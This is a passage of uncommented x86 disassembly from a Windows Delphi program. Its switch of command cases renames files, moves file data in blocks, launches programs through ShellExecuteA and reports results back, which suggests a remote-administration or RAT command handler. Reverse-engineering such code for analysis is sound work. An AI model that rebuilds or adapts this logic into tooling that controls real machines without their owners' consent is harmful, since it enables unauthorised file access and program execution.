pop ecx
mov dword fs:[eax], edx
push case.0x4d70d0.10
mov eax, dword [ebp - 0x98]
call fcn.00403770
mov byte [0x53357c], 0
ret
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov dword [ebp - 0x98], eax
lea edx, [ebp - 0x980]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0x980]
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea ecx, [ebp - 0x34]
mov edx, 1
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea ecx, [ebp - 0x38]
mov edx, 2
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea eax, [ebp - 0x9c]
call fcn.004d3850
lea eax, [ebp - 0x984]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x9c]
call fcn.00404880
mov eax, dword [ebp - 0x984]
call fcn.00404a2c
push eax
lea eax, [ebp - 0x988]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x9c]
call fcn.00404880
mov eax, dword [ebp - 0x988]
call fcn.00404a2c
push eax
call sub.kernel32.dll_MoveFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x91], al
mov eax, dword [ebp - 0x98]
call fcn.00403770
mov eax, dword [ebx + 0x10]
push eax
push 1
push 0
push 0
push 0
xor ecx, ecx
mov cl, byte [ebp - 0x91]
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004d5208
jmp case.0x4d70d0.10
lea edx, [ebp - 0x98c]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0x98c]
mov eax, 0x53b58c
call fcn.004045d0
mov eax, dword [ebx + 0x10]
mov dword [0x53b590], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53b59c], eax
mov al, byte [ebx + 0x18]
and al, 0xff
mov byte [0x53b598], al
mov eax, dword [ebx + 0x18]
and eax, 0x300
mov dword [0x53b594], eax
mov eax, 0x53b58c
call fcn.004d3850
mov eax, dword [0x53b58c]
cmp byte [eax + 1], 0x3a
jne 0x4daec3
mov eax, dword [0x53b58c]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x53b5a0], al
jmp 0x4daeca
mov byte [0x53b5a0], 0
mov eax, dword [0x53b58c]
call fcn.00404834
cmp eax, 3
jle case.0x4d70d0.10
mov eax, dword [0x53b58c]
call fcn.00462d64
jmp case.0x4d70d0.10
mov al, byte [ebx + 0x10]
mov byte [0x53b5ac], al
mov eax, dword [ebx + 0x14]
mov dword [0x53b5a8], eax
lea eax, [ebx + 0x20]
mov ebx, eax
mov eax, dword [ebx + 4]
mov dword [0x53b5b4], eax
mov eax, dword [ebx + 8]
mov dword [0x53b5b8], eax
mov eax, dword [ebx]
mov dword [0x53b5b0], eax
mov eax, dword [ebx + 0xc]
mov dword [0x53b5bc], eax
cmp byte [0x53b5a0], 0x41
jb 0x4daf5a
mov al, byte [0x53b5a0]
sub al, 0x41
inc eax
call fcn.00409b98
sub eax, dword [0x53b5b4]
sbb edx, dword [0x53b5b8]
sub eax, 0x1400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4daf6e
mov dword [ebp - 0xa8], 0xffffffff
mov dword [ebp - 0xa4], 0x7fff
cmp dword [ebp - 0xa4], 0
jne 0x4daf82
cmp dword [ebp - 0xa8], 0
jae 0x4dafad
jmp 0x4daf84
jge 0x4dafad
xor eax, eax
mov dword [0x53358c], eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x53b5a8]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d5208
jmp case.0x4d70d0.10
mov al, byte [0x53b5ac]
sub al, 2
jb 0x4dafbd
je 0x4daff2
jmp case.0x4d70d0.10
mov byte [0x53b5c0], 0
mov dl, 1
mov eax, dword [0x4eec48]
call fcn.00403740
mov dword [0x53358c], eax
mov dl, 1
mov eax, dword [0x41448c]
call fcn.00403740
mov dword [0x53b5c8], eax
xor eax, eax
mov dword [0x53b5c4], eax
jmp case.0x4d70d0.10
mov byte [0x53b5c0], 0
lea eax, [ebp - 0x990]
lea edx, [ebx + 0x10]
mov ecx, 0x400
call fcn.004047e4
mov ecx, dword [ebp - 0x990]
mov eax, 0x53b5a4
mov edx, dword [0x53b58c]
call fcn.00404880
mov eax, dword [0x53b5a4]
call fcn.004eb118
lea eax, [ebp - 0x994]
mov edx, dword [0x53b5a4]
call fcn.00404e38
mov eax, dword [ebp - 0x994]
mov dx, 0xffff
call fcn.0046da4c
mov dword [0x53358c], eax
cmp dword [0x53358c], 0
jne 0x4db080
push 0
push 0
mov eax, dword [0x53b5a4]
push eax
push 0
push 0
mov ecx, dword [0x53b5a8]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d5208
jmp case.0x4d70d0.10
xor eax, eax
push ebp
push 0x4db0ae
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x53b5b8]
push dword [0x53b5b4]
mov eax, dword [0x53358c]
call fcn.004631b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4db0d3
cmp dword [0x53358c], 0
je 0x4db05a
push 0
push 0
mov eax, dword [0x53358c]
call fcn.00463154
mov dl, 1
mov eax, dword [0x41448c]
call fcn.00403740
mov dword [0x53b5c8], eax
xor eax, eax
mov dword [0x53b5c4], eax
jmp case.0x4d70d0.10
call fcn.004d633c
jmp case.0x4d70d0.10
lea edx, [ebp - 0x998]
mov eax, 0xa5
call fcn.004a94e4
mov eax, dword [ebp - 0x998]
mov edx, 0x4dcb3c
call fcn.0046cc88
lea edx, [ebp - 0x99c]
mov eax, 0xa5
call fcn.004a94e4
mov eax, dword [ebp - 0x99c]
mov edx, 0x4dcb54
call fcn.0046cc88
jmp case.0x4d70d0.10
mov edx, dword [0x534848]
mov edx, dword [edx]
lea eax, [ebp - 0x34]
mov ecx, 0x4dcb6c
call fcn.00404880
mov eax, dword [ebp - 0x34]
call fcn.0046d6bc
test al, al
jne 0x4db1c9
lea eax, [ebp - 0x9a0]
mov edx, dword [ebp - 0x34]
call fcn.00404e38
mov eax, dword [ebp - 0x9a0]
mov dx, 0xffff
call fcn.0046da4c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4db1c9
mov eax, dword [0x53359c]
call fcn.00404834
push eax
mov eax, 0x53359c
call fcn.00404a84
mov edx, eax
mov eax, dword [ebp - 0x20]
pop ecx
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x20]
call fcn.00403770
push 1
push 0x4dca40
push 0x4dca40
lea eax, [ebp - 0x34]
call fcn.00404a84
push eax
push 0x4dca28
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d70d0.10
mov eax, dword [0x53490c]
cmp dword [eax], 0
jne case.0x4d70d0.10
xor ecx, ecx
mov dl, 1
mov eax, dword [0x4b2498]
call fcn.0041f210
mov edx, dword [0x53490c]
mov dword [edx], eax
jmp case.0x4d70d0.10
mov eax, dword [0x53a154]
mov eax, dword [eax + 0x314]
cmp byte [eax + 0x94], 0
je case.0x4d70d0.10
lea edx, [ebp - 0x9a4]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0x9a4]
mov eax, dword [0x53a154]
mov eax, dword [eax + 0x314]
call fcn.0049e3e4
jmp case.0x4d70d0.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xd4
mov eax, dword [ebp - 0x28]
call fcn.004d5208
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x14]
mov dword [0x53b4d8], eax
push 0
push 0x3e8
push 0
push 0x3c
mov eax, dword [ebx + 0x10]
cdq
call fcn.004058ec
call fcn.004058ec
mov dword [0x533510], eax
mov dword [0x533514], edx
cmp dword [0x533514], 0
jne 0x4db2bc
cmp dword [0x533510], 0
jbe case.0x4d70d0.10
jmp 0x4db2c2
jle case.0x4d70d0.10
mov eax, dword [0x532ef8]
mov edx, dword [0x532efc]
add eax, dword [0x533510]
adc edx, dword [0x533514]
mov dword [0x533510], eax
mov dword [0x533514], edx
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x14]
mov dword [0x53b4d8], eax
push 0
push 0x3e8
mov eax, dword [ebx + 0x10]
cdq
call fcn.004058ec
mov dword [0x533510], eax
mov dword [0x533514], edx
cmp dword [0x533514], 0
jne 0x4db327
cmp dword [0x533510], 0
jbe case.0x4d70d0.10
jmp 0x4db32d
jle case.0x4d70d0.10
mov eax, dword [0x532ef8]
mov edx, dword [0x532efc]
add eax, dword [0x533510]
adc edx, dword [0x533514]
mov dword [0x533510], eax
mov dword [0x533514], edx
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x53b384]
cmp eax, edx
jne case.0x4d70d0.10
mov eax, 0x53b4e8
mov dl, 1
call fcn.004ea2d4
test al, al
je case.0x4d70d0.10
mov eax, dword [0x53b4e8]
call fcn.00404e58
cmp eax, dword [0x53b4ec]
jle 0x4db3b5
cmp dword [ebx + 0x14], 1
jne case.0x4d70d0.10
push 0
push 0
push 0
mov ecx, 1
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004d53a4
jmp case.0x4d70d0.10
mov eax, dword [0x53b4e8]
call fcn.00404e58
test eax, eax
jne 0x4db3ea
cmp dword [ebx + 0x14], 1
jne case.0x4d70d0.10
push 0
push 0
push 0
mov ecx, 2
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004d53a4
jmp case.0x4d70d0.10
cmp byte [ebx + 0xc], 0xed
jne 0x4db417
movzx eax, word [0x53b384]
push eax
mov eax, dword [ebx + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x53b4e8]
mov edx, 0x10
mov eax, dword [ebp - 0x28]
call fcn.004d5444
jmp case.0x4d70d0.10
movzx eax, word [0x53b384]
push eax
mov eax, dword [ebx + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x53b4e8]
mov edx, 0xd
mov eax, dword [ebp - 0x28]
call fcn.004d5444
jmp case.0x4d70d0.10
movzx eax, word [0x53b384]
cmp eax, dword [ebx + 0x10]
jne case.0x4d70d0.10
cmp byte [0x533528], 0
je case.0x4d70d0.10
movzx ecx, word [0x53b384]
mov edx, 0x13
mov eax, dword [0x53b4fc]
call fcn.004d55bc
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x53b384]
cmp eax, edx
jne case.0x4d70d0.10
mov eax, dword [0x53b4f0]
call fcn.00419614
cmp edx, 0
jne 0x4db4a2
cmp eax, 0
jbe case.0x4d70d0.10
jmp 0x4db4a8
jle case.0x4d70d0.10
movzx ecx, word [0x53b384]
mov edx, 0x14
mov eax, dword [0x53b4f0]
call fcn.004d55bc
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x53b384]
cmp eax, edx
jne case.0x4d70d0.10
lea edx, [ebp - 0xd4]
mov eax, 0x28
call fcn.004a9d74
cmp dword [ebx + 0x14], 0
jne 0x4db50e
lea eax, [ebp - 0x9a8]
mov edx, dword [ebp - 0xd4]
call fcn.00404e38
mov eax, dword [ebp - 0x9a8]
mov dl, 1
call fcn.004ea368
jmp case.0x4d70d0.10
cmp dword [ebx + 0x14], 2
jne case.0x4d70d0.10
lea eax, [ebp - 0x9ac]
mov edx, dword [ebp - 0xd4]
call fcn.00404e38
mov eax, dword [ebp - 0x9ac]
mov dl, 1
call fcn.004ea3f8
jmp case.0x4d70d0.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xf7
mov eax, dword [ebp - 0x28]
call fcn.004d5208
jmp case.0x4d70d0.10
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov esi, eax
mov eax, esi
call fcn.004af594
lea edx, [ebp - 0xe8]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
push 0
push 0
mov eax, dword [ebp - 0xe8]
call fcn.00404a2c
push eax
xor ecx, ecx
mov edx, 0xc8
mov eax, dword [ebp - 0x28]
call fcn.004d53a4
mov eax, esi
call fcn.00403770
jmp case.0x4d70d0.10
cmp dword [0x53358c], 0
jne 0x4db5ed
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x53b5cc]
jne case.0x4d70d0.10
cmp byte [0x53b5c0], 0
je case.0x4d70d0.10
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x53b5cc]
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004d5208
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x53b5a8]
jne case.0x4d70d0.10
push 0
push 0x400
mov eax, dword [0x53b5b4]
mov edx, dword [0x53b5b8]
add eax, 0x3ff
adc edx, 0
call fcn.00405910
mov ebx, eax
cmp ebx, dword [0x53b5c4]
jbe 0x4db644
mov edx, dword [0x53b5c4]
mov eax, dword [0x53b5c8]
call fcn.00416c4c
inc dword [0x53b5c4]
cmp ebx, dword [0x53b5c4]
ja 0x4db626
lea ebx, [ebp - 0x7a8]
lea esi, [ebx + 0x20]
mov eax, dword [0x53b5c8]
mov edi, dword [eax + 8]
dec edi
xor eax, eax
mov dword [ebp - 0x48], eax
test edi, edi
jl 0x4db67d
mov edx, edi
mov eax, dword [0x53b5c8]
call fcn.00416da8
mov dword [esi], eax
add esi, 4
dec edi
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0x140
jne 0x4db65b
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xfe
mov byte [ebx + 0xe], 0
sub esi, ebx
mov dword [ebx + 4], esi
mov eax, dword [ebx + 4]
sub eax, 0x20
test eax, eax
jns 0x4db69b
add eax, 3
sar eax, 2
mov dword [ebx + 0x10], eax
mov eax, dword [0x53b5a8]
mov dword [ebx + 0x14], eax
mov edx, ebx
mov eax, dword [ebp - 0x28]
call fcn.004d4ec0
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
mov dword [0x533518], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53351c], eax
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
mov dword [0x532fa0], eax
jmp case.0x4d70d0.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409ea8
lea eax, [ebp - 0x34]
call fcn.004d3850
mov eax, dword [ebp - 0x34]
call fcn.0046d6bc
test al, al
je case.0x4d70d0.10
mov byte [ebp - 0xc9], 0
lea eax, [ebp - 0x9b0]
mov edx, dword [ebp - 0x34]
call fcn.00404e38
mov eax, dword [ebp - 0x9b0]
lea ecx, [ebp - 0xbc]
lea edx, [ebp - 0xc8]
call fcn.0046e3dc
lea edx, [ebp - 0xc4]
mov eax, 1
call fcn.004a94e4
mov al, byte [0x4dcb7c]
push eax
lea eax, [ebp - 0xc0]
push eax
lea edx, [ebp - 0x9b8]
mov eax, dword [0x534a7c]
mov eax, dword [eax]
call fcn.00409a74
mov edx, dword [ebp - 0x9b8]
lea eax, [ebp - 0x9b4]
call fcn.00404e38
mov eax, dword [ebp - 0x9b4]
push eax
lea eax, [ebp - 0x9bc]
mov edx, dword [ebp - 0xc4]
call fcn.00404e38
mov edx, dword [ebp - 0x9bc]
mov eax, dword [ebp - 0xbc]
pop ecx
call fcn.004f023c
mov eax, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xbc]
call fcn.00404f70
je case.0x4d70d0.10
lea eax, [ebp - 0x9c0]
mov edx, dword [ebp - 0x34]
call fcn.00404e38
mov eax, dword [ebp - 0x9c0]
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xc8]
call fcn.0046e4b8
jmp case.0x4d70d0.10
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e39d0
mov byte [0x532f5c], 1
call fcn.004d63a4
xor edx, edx
mov eax, 4
call fcn.004d63c4
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
mov dword [0x53b2d8], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53b2dc], eax
mov eax, dword [0x53b2d8]
cdq
push edx
push eax
lea eax, [ebp - 0x9c4]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x9c4]
mov edx, 0x4dcb88
call fcn.0046d2cc
mov eax, dword [0x53b2dc]
cdq
push edx
push eax
lea eax, [ebp - 0x9c8]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x9c8]
mov edx, 0x4dcb9c
call fcn.0046d2cc
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
mov dword [0x53b2e0], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53b2e4], eax
mov eax, dword [0x53b2e0]
cdq
push edx
push eax
lea eax, [ebp - 0x9cc]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x9cc]
mov edx, 0x4dcbb0
call fcn.0046d2cc
mov eax, dword [0x53b2e4]
cdq
push edx
push eax
lea eax, [ebp - 0x9d0]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x9d0]
mov edx, 0x4dcbc4
call fcn.0046d2cc
jmp case.0x4d70d0.10
mov al, byte [0x4dca38]
push eax
lea eax, [ebp - 0xe8]
push eax
lea eax, [ebp - 0x9d4]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047e4
mov eax, dword [ebp - 0x9d4]
mov ecx, 0x4dcbd8
mov edx, 0x4dcbe4
call fcn.0040d908
lea eax, [ebp - 0xe8]
call fcn.00404a84
mov dword [ebp - 0xfc], eax
lea edx, [ebp - 0xec]
lea eax, [ebp - 0xfc]
call fcn.0046c048
lea eax, [ebp - 0xec]
call fcn.004d3850
lea edx, [ebp - 0xf0]
lea eax, [ebp - 0xfc]
call fcn.0046c048
lea edx, [ebp - 0xf4]
lea eax, [ebp - 0xfc]
call fcn.0046c048
lea edx, [ebp - 0xf8]
lea eax, [ebp - 0xfc]
call fcn.0046c048
lea eax, [ebp - 0x9d8]
mov edx, dword [ebp - 0xf4]
call fcn.00404e38
mov eax, dword [ebp - 0x9d8]
push eax
lea eax, [ebp - 0x9dc]
mov edx, dword [ebp - 0xf8]
call fcn.00404e38
mov eax, dword [ebp - 0x9dc]
push eax
mov eax, dword [ebx + 0x14]
push eax
xor eax, eax
mov al, byte [ebx + 0xc]
push eax
lea eax, [ebp - 0x9e0]
mov edx, dword [ebp - 0xf0]
call fcn.00404e38
mov ecx, dword [ebp - 0x9e0]
mov edx, dword [ebx + 0x10]
mov eax, dword [ebp - 0xec]
call fcn.004dd250
mov dword [ebp - 0x48], eax
cmp byte [ebx + 0xc], 0xff
jne 0x4db9f5
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xc1
mov eax, dword [ebp - 0x28]
call fcn.004d53a4
jmp case.0x4d70d0.10
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xbe
mov eax, dword [ebp - 0x28]
call fcn.004d53a4
jmp case.0x4d70d0.10
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov eax, dword [ebx + 0x14]
push eax
push 0
mov ecx, dword [ebx + 0x10]
and ecx, 0xffff
mov edx, dword [ebx + 0x10]
shr edx, 0x10
mov eax, dword [ebp - 0xe8]
call fcn.004dccc0
jmp case.0x4d70d0.10
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409ea8
lea eax, [ebp - 0xe8]
call fcn.004d3850
mov eax, dword [ebp - 0xe8]
call fcn.0046d6bc
test al, al
je case.0x4d70d0.10
lea eax, [ebp - 0x9e4]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x9e4]
xor ecx, ecx
mov edx, 0x4dcbf4
call fcn.0046d51c
mov dl, 1
mov eax, dword [ebp - 0xe8]
call fcn.004e2b04
jmp case.0x4d70d0.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xf4
mov eax, dword [ebp - 0x28]
call fcn.004d5208
jmp case.0x4d70d0.10
mov byte [0x53b580], 0
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
mov dword [0x53b584], eax
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
call fcn.0040307c
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
inc eax
call fcn.004d25dc
mov eax, 3
call fcn.0040307c
mov dword [ebp - 0x48], eax
lea edx, [ebp - 0xe8]
mov eax, dword [ebp - 0x48]
call fcn.004d5c78
cmp dword [ebp - 0xe8], 0
jne 0x4dbb25
lea eax, [ebp - 0xe8]
mov edx, 0x4dcc04
call fcn.00404614
push 0
push 0
lea eax, [ebp - 0xe8]
call fcn.00404a84
push eax
xor ecx, ecx
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004d53a4
jmp case.0x4d70d0.10
call fcn.0040b070
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0xe8]
mov eax, 0x4dcc14
call fcn.0040bc84
push 0
push 0
lea eax, [ebp - 0xe8]
call fcn.00404a84
push eax
xor ecx, ecx
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004d53a4
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
mov dword [ebp - 0x110], eax
mov eax, dword [ebx + 0x14]
mov dword [ebp - 0x10c], eax
push dword [ebp - 0x10c]
push dword [ebp - 0x110]
call fcn.004d3258
jmp case.0x4d70d0.10
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov esi, eax
lea eax, [ebp - 0x9e8]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047e4
mov edx, dword [ebp - 0x9e8]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xec]
xor edx, edx
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xf0]
mov edx, 1
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xf4]
mov edx, 2
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xf8]
mov edx, 3
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0xec]
call fcn.004d3850
lea eax, [ebp - 0x9f4]
mov edx, dword [ebp - 0xec]
call fcn.00404e38
mov eax, dword [ebp - 0x9f4]
lea ecx, [ebp - 0x9f0]
lea edx, [ebp - 0x100]
call fcn.0046e3dc
mov edx, dword [ebp - 0x9f0]
lea eax, [ebp - 0x9ec]
call fcn.004047fc
mov edx, dword [ebp - 0x9ec]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
cmp dword [ebp - 0x100], 0xfffffffd
jne 0x4dbc9f
test byte [ebx + 0x10], 1
jne 0x4dbc9f
push 0
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d53a4
jmp 0x4dbd76
cmp dword [ebp - 0x100], 0xfffffffe
jne 0x4dbcc5
push 0
push 0
push 0
mov ecx, 0xfffffffe
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d53a4
jmp 0x4dbd76
mov eax, dword [ebp - 0xf4]
push eax
mov eax, dword [ebp - 0xf8]
push eax
xor edx, edx
mov dl, byte [ebx + 0xc]
mov ecx, dword [ebp - 0xf0]
mov eax, esi
call fcn.004d6a08
mov eax, dword [ebp - 0xec]
call fcn.004eb118
lea edx, [ebp - 0x9fc]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov edx, dword [ebp - 0x9fc]
lea eax, [ebp - 0x9f8]
call fcn.00404e38
mov eax, dword [ebp - 0x9f8]
push eax
lea eax, [ebp - 0xa00]
mov edx, dword [ebp - 0xec]
call fcn.00404e38
mov eax, dword [ebp - 0xa00]
mov edx, dword [ebp - 0x100]
pop ecx
call fcn.0046e4b8
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0
jl 0x4dbd5e
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d53a4
jmp 0x4dbd76
push 0
push 0
push 0
mov ecx, 0xfffffffd
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d53a4
mov eax, esi
call fcn.00403770
jmp case.0x4d70d0.10
mov dword [0x53b374], 1
jmp case.0x4d70d0.10
xor eax, eax
call fcn.004eb4ec
jmp case.0x4d70d0.97
call fcn.004eb4d0
jmp case.0x4d70d0.97
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409ea8
lea eax, [ebp - 0xa04]
mov edx, dword [ebp - 0xe8]
call fcn.00404e38
mov eax, dword [ebp - 0xa04]
lea ecx, [ebp - 0xbc]
lea edx, [ebp - 0x100]
call fcn.0046e3dc
cmp dword [ebp - 0x100], 0
jl case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [ebp - 0x100]
je case.0x4d70d0.10
lea eax, [ebp - 0xa08]
mov edx, dword [ebp - 0xe8]
call fcn.00404e38
mov eax, dword [ebp - 0xa08]
mov edx, dword [ebx + 0x10]
mov ecx, dword [ebp - 0xbc]
call fcn.0046e4b8
jmp case.0x4d70d0.10
cmp dword [0x532fb0], 0
je 0x4dbe32
mov dword [ebp - 0x48], 1
jmp 0x4dbe37
xor eax, eax
mov dword [ebp - 0x48], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d53a4
jmp case.0x4d70d0.10
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0xe8]
mov eax, 0x4dcc30
call fcn.00404b70
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0xa0c]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe8]
call fcn.00404a8c
mov eax, dword [ebp - 0xa0c]
push eax
lea eax, [ebp - 0xa10]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0xa10]
mov edx, 0x4dcc3c
pop ecx
call fcn.0046d51c
mov eax, dword [ebx + 0x10]
cdq
push edx
push eax
lea eax, [ebp - 0xa14]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0xa14]
mov edx, 0x4dcc4c
call fcn.0046d2cc
mov eax, dword [ebx + 0x14]
cdq
push edx
push eax
lea eax, [ebp - 0xa18]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0xa18]
mov edx, 0x4dcc60
call fcn.0046d2cc
lea eax, [ebp - 0xa1c]
push eax
mov edx, dword [ebp - 0x48]
inc edx
mov ecx, 0x400
mov eax, dword [ebp - 0xe8]
call fcn.00404a8c
mov eax, dword [ebp - 0xa1c]
push eax
lea eax, [ebp - 0xa20]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0xa20]
mov edx, 0x4dcc74
pop ecx
call fcn.0046d51c
jmp case.0x4d70d0.10
lea edx, [ebp - 0xa24]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0xa24]
mov eax, 0x53b530
call fcn.004045d0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebx + eax*4 + 0x10]
mov dword [0x533550], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0049dc18
cmp dword [0x533550], 0
jle case.0x4d70d0.10
mov edx, dword [0x53b530]
mov eax, 0x4dcc88
call fcn.00404b70
test eax, eax
jle 0x4dbfe5
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0049d9e8
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x53b530]
call fcn.0049dae4
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0049da64
jmp 0x4dc019
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov dl, 1
call fcn.0049d9e8
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0049dae4
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x53b530]
call fcn.0049da64
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x533550]
call fcn.0049db64
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0049dc10
jmp case.0x4d70d0.10
mov al, byte [ebx + 0x10]
mov byte [0x532fb4], al
jmp case.0x4d70d0.10
inc byte [0x532fb4]
mov eax, dword [0x532ee8]
call fcn.004f0f68
movsx edx, byte [0x532fb4]
cmp eax, edx
jg case.0x4d70d0.10
mov byte [0x532fb4], 0xff
jmp case.0x4d70d0.10
lea edx, [ebp - 0xa2c]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0xa2c]
lea eax, [ebp - 0xa28]
call fcn.00404e38
mov eax, dword [ebp - 0xa28]
push eax
mov edx, dword [0x534848]
mov edx, dword [edx]
lea eax, [ebp - 0xa34]
